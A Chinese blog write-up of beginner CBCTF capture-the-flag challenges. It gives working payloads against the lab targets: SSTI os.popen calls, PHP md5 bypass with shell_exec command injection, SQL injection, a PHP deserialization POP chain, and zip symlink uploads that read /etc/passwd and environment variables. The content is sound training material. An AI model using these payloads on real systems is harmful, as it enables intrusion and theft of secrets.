CBCTF

A lot of easy problem

Posted by JBNRZ on 2022-09-30
Estimated Reading Time 12 Minutes
Words 2.4k In Total
Viewed Times

开学时的 CBCTF 的简单题目 WriteUp
同样是入门题目

misc

流量分析

题目描述

和往常一样,管理员悠闲地进行着日常的网站管理,然而狡猾的大黑阔却神不知鬼不觉地监听了一切。。。

flag格式:CBCTF{管理员的密码}

题解

  1. 下载附件,为其添加后缀名,使用 wireshark 打开
    post 1
  2. 根据题目描述,可能涉及管理员登陆行为,查找 post 协议
    post 2
  3. 查看具体的数据请求
    post 3
  4. 发现 password,得到 flag

CBCTF{ffb7567a1d4f4abdffdb54e022f8facd}

Wordplay

题目描述

I like wordplay very very very muchhhhhh

Hint

ps:你可能会用到这个:https://yuanfux.github.io/zero-width-web/

题解

  1. 下载附件,解压得到一个 docx
  2. 阅读发现存在几种不同的格式

红色,黑色,黄色
黑体,等线
1 倍行间距,1.5 倍行间距

  1. 猜测黄色不参与有关颜色的编码,分别以同一属性的不同格式作为 0 1,得到二进制字符串
  2. 实在懒得重新做,flag 不写了,思路大致如此

XOR?

题目描述

嗨害嗨!flag已经被我重重加密了

题解

  1. 很明显,要异或,打开附件,得到文件
1
2
3
4
5
6
7
8
9
import flag
import base64
#I can't tell you flag ,but i believe you can get it
mw = ""
for i in range(len(flag)):
mw = mw + ord(flag[i]) ^ i
b64 = base64.b64encode(mw.encode('utf-8')).decode("utf-8")
print(b64)
#the b64 is MTAyIDEwOSA5OSAxMDAgMTI3IDkyIDEwNSAxMTQgODcgOTggMTAwIDU5IDEyMyA4MiA4NiA5NiA2NiA0OCA1MSAxMTA=
  1. 先 base64 解码

102 109 99 100 127 92 105 114 87 98 100 59 123 82 86 96 66 48 51 110

  1. 由异或性质得到原文字

a ^ b ^ b = a

1
2
3
mw = "102 109 99 100 127 92 105 114 87 98 100 59 123 82 86 96 66 48 51 110".split()
for i in range(len(mw)):
print(chr(int(mw[i]) ^ i), end='')

flag{You_kn0w_XoR!!}

Web

SSTI

题解

  1. 根据题目,得知是一道 ssti,并且基于 python
  2. 获取所有的全局变量

ssti 1
3. 发现其中存在 os 模块,可执行系统命令
ssti 2
4. 利用 popen 获取顶级目录内容,发现 flag 字样

1
{{url_for.__globals__['os'].popen('ls ../../..').read()}}

ssti 3
5. cat 读取,得到 flag

1
{{url_for.__globals__['os'].popen('cat ../../../flag').read()}}

ssti 4

CBCTF{bf9a0577-90bb-4121-a91e-4d936581b9e3}

flappybird

题解

  1. 先玩两下,抓包,发现需要 10000 分
    bird 2
    bird 1
  2. 存在两个参数:score checkcode
  3. checkcode 是怎么产生的,查看网页源代码,对其中 js 代码进行格式化,在 fb.min.js 中发现算法
    bird 3
    bird 4
  4. 根据代码构造 10000 的 checkcode

md5(10000cb_0rays_training)
ca9c668fbb6ecb3132945cb68dd4058d (32 位)

  1. 进行改包,得到 flag
    bird 5

cbctf{god_Of_flAppy_bird_0rays_yyds}

Warm_up

Hint

靶机不出网

题解

  1. 打开发现是 php 代码
    ls 1
  2. 有两个判断

if (isset($_GET['md5']))
if ($md5==md5($md5)

  1. 分析:让 MD5 与自身相等,只需传入一个 0e 开头并且 MD5 也为 0e 开头的值

0e215962017
ls 2

  1. 成功绕过,接下来可以直接通过 post 给 cmd 传值
1
2
3
4
$cmd = $_POST['cmd'];
shell_exec($cmd);
// 此时程序会执行命令,但是不会有回显,并且根据 hint,不能通过反弹 shell 获取
// 此时我们尝试将回显写入本地文件,并访问文件获取值
  1. 查看顶层目录

cmd=ls …/…/… > test.txt
ls 3
ls 4

  1. 发现 flag,读取,得到 flag
    ls 5
    ls 6

CBCTF{2add1805-0995-4af3-a500-7ea22d792486}

随便注

题解

  1. 访问,明显需要 sql注入,尝试 1'
    sbz 1
    sbz 2
  2. 显示表名
    sbz 3
  3. 显示 columns
1
show cloums from `no_flag_here` ;#  注意这里是反引号

sbz 4

  1. 读取值

select * from no_flag_here;#
sbz 5
CBCTF{3ee289a7-d9ba-4fdd-84ad-685130cc27d4}

give_me_flag

题目描述

鼠标右键好像不管用了,F12 ?emmm。。。。

题解

  1. F12 无法使用,鼠标右键被禁用,直接查看源代码

view-source:https://xxxx
f12 1

  1. 查看代码,发现类似 flag 的字段
    f12 2
  2. 像是凯撒加密过的,爆破得 flag
    f12 3

flag{w7w_in2pEct_8t_g7od_j7B}

机器人也许知道

题目描述

终于完工啦,草草收工的1manity似乎忘了点什么?到底是什么呢?

题解

  1. 访问,发现 php 代码
    rb 1
  2. 需要关注的地方
    rb 2
    rb 3
    rb 4
  3. 但是我们不知道 root 账户和密码,结合标题,尝试访问 /robots.txt
    rb 5
  4. 只需绕过判断和修改就OK
  5. 我们让 username 为空,让 password 包含 username 和重复的 password

/?username=&password=1manity123123456456
rb 6

  1. 得到 flag

CBCTF{Y0u4re_0ne_0f_tHe_Be3t_FresHmEn}

ezphp

题解

  1. 阅读代码
1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
highlight_file(__FILE__);
mt_srand(time());
$a = array("system",$_GET['cmd']);
for ($i=0;$i<=10000;$i++){
array_push($a,"Ctfer");
}
shuffle($a);
$a[$_GET['b']]($a[$_GET['c']]);
  1. 大致意思,在列表中放入 ‘system’ 和 执行的命令,再插入 10000 条 ‘Ctfer’,然后打乱顺序,我们需要猜测 system 和 cmd 的位置来执行命令
  2. 其中 mt_srand(time()); 设定了种子,在相同种子时,顺序是一样的,所以只需提前几秒获取位置即可执行 命令
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

mt_srand(time() + 10);
$a = array("system","cat ../../../flag"); // 在这只放了最后的命令
for ($i=0;$i<=10000;$i++){
array_push($a,"Ctfer");
}
shuffle($a);
var_dump($a);
echo array_search("system", $a);
echo ' ';
echo array_search("cat ../../../flag", $a);
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import os
import requests
import time
from base64 import b64encode
a = 'cat ../../../flag'
b = input('b: ')
c = input('c: ')
url = f"http://f4272e32-1f8c-4a31-91a7-f4b4c4fb258e.training.0rays.club:8001/?cmd={a}&b={b}&c={c}"
text = b64encode(requests.get(url).text.encode())

while True:
response = requests.get(url)
if b64encode(requests.get(url).text.encode()) != text and response.status_code == 200:
print(response.text)
with open(f"{b}.html", 'w') as w:
w.write(response.text) # 防止忘了上一步命令的结果...
break

有时候一次可能得不到结果,多试几次
我不会 php,所以网络请求部分用 python 来写 对不起代码很丑

  1. flag

ezpop

题解

感谢学长们的大力支持与耐心解答

  1. 题目
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class AAA {
public $s;
public $a;
public function __toString()
{
$p = $this->a;
return $this->s->$p;
}
function getFlag($flag)
{
return $flag;
}
}

class BBB {
private $b;
public function __get($name)
{
if(preg_match("/Flag/i", $name)) {

include($name($this->b)); //flag in ./flag.php
}
return '<br/>you can get it!!';
}
}

class CCC {
public $c;
public function __destruct()
{
echo $this->c;
}
}

if(isset($_GET['cbctf'])) {
$a = unserialize($_GET['cbctf']);
throw new Exception("let's go!!!");
} else {
highlight_file(__FILE__);
}
  1. 目的

利用 GC回收机制绕过 new Expection
触发 __destruct(困我很久
按顺序触发一系列魔法方法

  1. 坑,在 EXP 中一定要用 __construct 赋值类属性
  2. EXP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php
class AAA {
public $s;
public $a;
public function __construct($s, $a)
{

$this->s = $s;
$this->a = $a;
}
// public function __toString()
// {
// $p = $this->a;
// return $this->s->$p; // s = BBB
// }
// function getFlag($flag)
// {
// return $flag;
// }
}

class BBB {
private $b;
public function __construct($b)
{
$this->b = $b;
}
// public function __get($name)
// {
// if(preg_match("/Flag/i", $name)) {

// include($name($this->b)); //flag in ./flag.php
// }
// return '<br/>you can get it!!';
// }
}

class CCC {
public $c;
public function __construct($c)
{
$this->c = $c;
}
// public function __destruct()
// {
// echo $this->c; // c = AAA
// }
}

$bbb = new BBB("php://filter/read=convert.base64-encode/resource=./flag.php");
$aaa = new AAA($bbb, "AAA::getFlag");
$ccc = new CCC($aaa);
$se = array(0=>$ccc,1=>NULL);
$sera = serialize($se);
$sera = str_replace('1;N', '0;N', $sera);
echo urlencode($sera);
// echo serialize($se);
// $b = new BBB();
// $b -> getFlag;
  1. 使用伪协议,flag 为一句赋值语句,如果直接读取 flag.php 将无法显示(我也是后来才知道,所以以后尽量直接上 php://filter
  2. urlencode 因为存在 private 属性,要将 %00 等字符也输出
  3. str_replace 为触发 __destruct
  4. flag

CBCTF{Th1S_1S_1Z_P0p__FuN_114514_G0d}

zip_helper

题目描述

pankas写了个在线解压工具
应该没什么漏洞吧

题解

  1. 没思路,问学长,软链接
  2. 查看 etc/passwd

ln -s /etc/passwd passwd
zip --symlinks passwd.zip passwd

  1. 上传
    link
  2. 没东西,查看系统环境变量

ln -s /proc/self/environ env
zip --symlinks env.zip env

  1. 发现flag
    link

CBCTF{270b19fa-1ae5-49bb-aee5-190f841ee442}

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import hashlib
import os
import random
from flask import Flask, request

app = Flask(__name__)

@app.route('/')
def index():
return """<html>
<head>
<meta charset="utf-8">
<title>zip-helper</title>
</head>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>

</body>
</html>"""

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ('zip')

@app.route('/upload', methods=['GET', 'POST'])
def read_flag():
if request.method == 'POST':
if 'file' not in request.files:
return "No file part"
file = request.files['file']

if file.filename == '':
return "No selected file"

if file and allowed_file(file.filename):
os.system("rm -rf uploads/*")
filename = hashlib.sha1(file.filename.encode(encoding='utf-8')).hexdigest()
rand = hashlib.sha1(random.randbytes(256)).hexdigest()
file.save(f'uploads/{filename}')
dir = f"uploads/{rand}"
os.system(f'unzip -q uploads/{filename} -d {dir}')
readResult = ""
for root,dirs,files in os.walk(dir):
for file in files:
with open(os.path.join(root,file), 'r') as f:
readResult += f.read()
return readResult
else:
return "<h1>仅支持上传 .zip 文件</h1>"

if request.method == 'GET':
return "go!"

if __name__ == '__main__':
app.run(port=80, host='0.0.0.0')

where is flag?gogogo

题解

  1. server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package main
import (
"encoding/json"
"fmt"
"io"
"log"
"net/http"
"os"
"strings"
)
type importantStuff struct {
WhereIsFlag string `json:"where_is_flag"`
}
func main() {
flag := os.Getenv("FLAG")
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
fmt.Fprint(w, "<h1>Hello, CTFer!!</h1>")
return
case http.MethodPost:
body, err := io.ReadAll(r.Body)
if err != nil {
fmt.Fprintf(w, "Something went wrong")
return
}
if strings.Contains(string(body), "where_is_flag") || strings.Contains(string(body), "\\") {
fmt.Fprintf(w, "Something went wrong")
return
}
var whereIsFlag importantStuff
err = json.Unmarshal(body, &whereIsFlag)
if err != nil {
fmt.Fprintf(w, "Something went wrong")
return
}
if whereIsFlag.WhereIsFlag == "here_is_flag" {
fmt.Fprintf(w, "Congrats! Here is the flag: %s", flag)
return
} else {
fmt.Fprintf(w, "Something went wrong")
return
}
default:
fmt.Fprint(w, "Method not allowed")
return
}
})
log.Fatal(http.ListenAndServe(":80", nil))
}
  1. payload

{“Where_is_flag”:“here_is_flag”}
post

  1. flag

CBCTF{7e344780-3543-4872-8ae5-d460bb5c828c}


如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !